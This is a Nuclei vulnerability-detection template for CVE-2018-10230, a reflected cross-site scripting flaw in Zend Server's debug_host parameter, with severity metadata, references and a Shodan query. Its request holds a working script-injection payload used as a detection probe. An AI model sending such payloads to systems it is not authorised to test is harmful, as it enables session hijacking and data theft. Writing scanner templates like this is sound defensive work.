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Zend Server <9.13 - Cross-Site Scripting

ID: CVE-2018-10230

Severity: medium

Author: marcos_iaf

Tags: cve,cve2018,xss,zend

Zend Server before version 9.13 is vulnerable to cross-site scripting via the debug_host parameter.

id: CVE-2018-10230
info:
name: Zend Server <9.13 - Cross-Site Scripting
author: marcos_iaf
severity: medium
description: |
Zend Server before version 9.13 is vulnerable to cross-site scripting via the debug_host parameter.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary scripts in the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
remediation: |
Upgrade Zend Server to version 9.13 or later to mitigate this vulnerability.
reference:
- https://www.synacktiv.com/ressources/zend_server_9_1_3_xss.pdf
- https://www.zend.com/en/products/server/release-notes
- https://nvd.nist.gov/vuln/detail/CVE-2018-10230
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2018-10230
cwe-id: CWE-79
epss-score: 0.00106
epss-percentile: 0.43069
cpe: cpe:2.3:a:zend:zend_server:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: zend
product: zend_server
shodan-query: cpe:"cpe:2.3:a:zend:zend_server"
tags: cve,cve2018,xss,zend
http:
- method: GET
path:
- "{{BaseURL}}/index.php?debug_host=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&start_debug=1"
matchers-condition: and
matchers:
- type: word
part: body
words:
- "</script><script>alert(document.domain)</script>"
- "is not allowed to open debug sessions"
condition: and
- type: word
part: header
words:
- text/html
- type: status
status:
- 200
# digest: 4a0a004730450221008ec1384d45645690a3c1723cf98f9e9448ee8817247ac102949a76659755b18102206444758b577e35e2e3819cd8c3ff235449d1ba38842821626fcc9d5dadeb039b:922c64590222798bb761d5b6d8e72950

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

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